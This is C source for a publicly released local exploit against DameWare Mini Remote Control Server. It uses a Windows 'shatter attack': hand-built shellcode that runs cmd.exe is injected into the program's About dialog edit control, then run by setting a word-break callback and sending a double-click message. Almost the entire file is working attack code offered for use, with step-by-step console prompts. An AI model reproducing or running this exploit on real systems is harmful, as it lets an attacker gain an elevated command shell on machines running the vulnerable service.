/* Shatter attack exploit for DameWare Mini Remote Control Server by ash@felinemenace.org see associated advisory This code is based on shards.cpp by xenophile */ #define WIN32_LEAN_AND_MEAN #include #include #pragma warning(disable: 4305) #pragma warning(disable: 4309) void MakeShellCode (char *buffer) { HMODULE hCRT; void * lpSystem; int count=0; while (count < 36) { buffer [count] =0x90; count ++; } buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55; buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33; buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57; buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04; buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8; buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45; buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6; buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64; buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB; buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45; buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6; buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78; buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE; buffer[76]=0x65; hCRT = LoadLibrary("msvcrt.dll"); lpSystem = GetProcAddress( hCRT, "system" ); buffer[77]=0xB8; buffer[78]=((char *)&lpSystem) [0]; buffer[79]=((char *)&lpSystem) [1]; buffer[80]=((char *)&lpSystem) [2]; buffer[81]=((char *)&lpSystem) [3]; buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45; buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF; buffer [88]=0x55; buffer[89]=0xF4; count = 90; while (count < 291) { buffer [count] =0x90; count ++; } buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D; buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1; buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00; buffer[300]=0x00; return; } void ErrorNotify(DWORD err, char *title) { LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL ) ; printf("%s\n",lpMsgBuf); LocalFree( lpMsgBuf ); }; #define SHELLCODE_SIZE (1024 * 256) #define SHELLCODE_OFFSET (SHELLCODE_SIZE -400) int main(int argc, char* argv[]) { HWND hWnd; HWND hWndChild; char sc[SHELLCODE_SIZE]; char szWindowName[] = "About DameWare Mini Remote Control Server"; LONG lExecAddress; sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0'; memset( &sc[4], 0x90, SHELLCODE_SIZE -4); MakeShellCode( &sc[SHELLCODE_OFFSET] ); printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" ); printf("--------------------------------------------------------------\n"); printf("Exploits shatter attack in DameWare Mini Remote Control Server\n"); printf("This is based on shards.cpp written by xenophile.\n") ; printf("--------------------------------------------------------------\n"); printf( "STEP 1: Finding our window!\n" ) ; hWnd = FindWindow( NULL, szWindowName ); if( hWnd == NULL) { printf("Couldn't find the dameware about dialogue. Open it and re-run this\n"); return 0; } hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL); if( hWndChild == NULL) { printf("\tCouldn't find child edit control window\n"); return 0; } SendMessage( hWndChild, EM_SETREADONLY, 0, 0 ); SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L ); if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) { ErrorNotify ( GetLastError (), "error"); } printf( "\n\nSTEP 2: Enter shell code address. " "This can be found using a debugger." ) ; printf( "\nOn my XP SP1 machine 0x160000 worked.\n" ); printf( "\n\nEnter execution address: " ); scanf( "%x", &lExecAddress ); if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L, (LPARAM)lExecAddress ) ) { ErrorNotify( GetLastError(), "error" ); } SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a ); return 0; }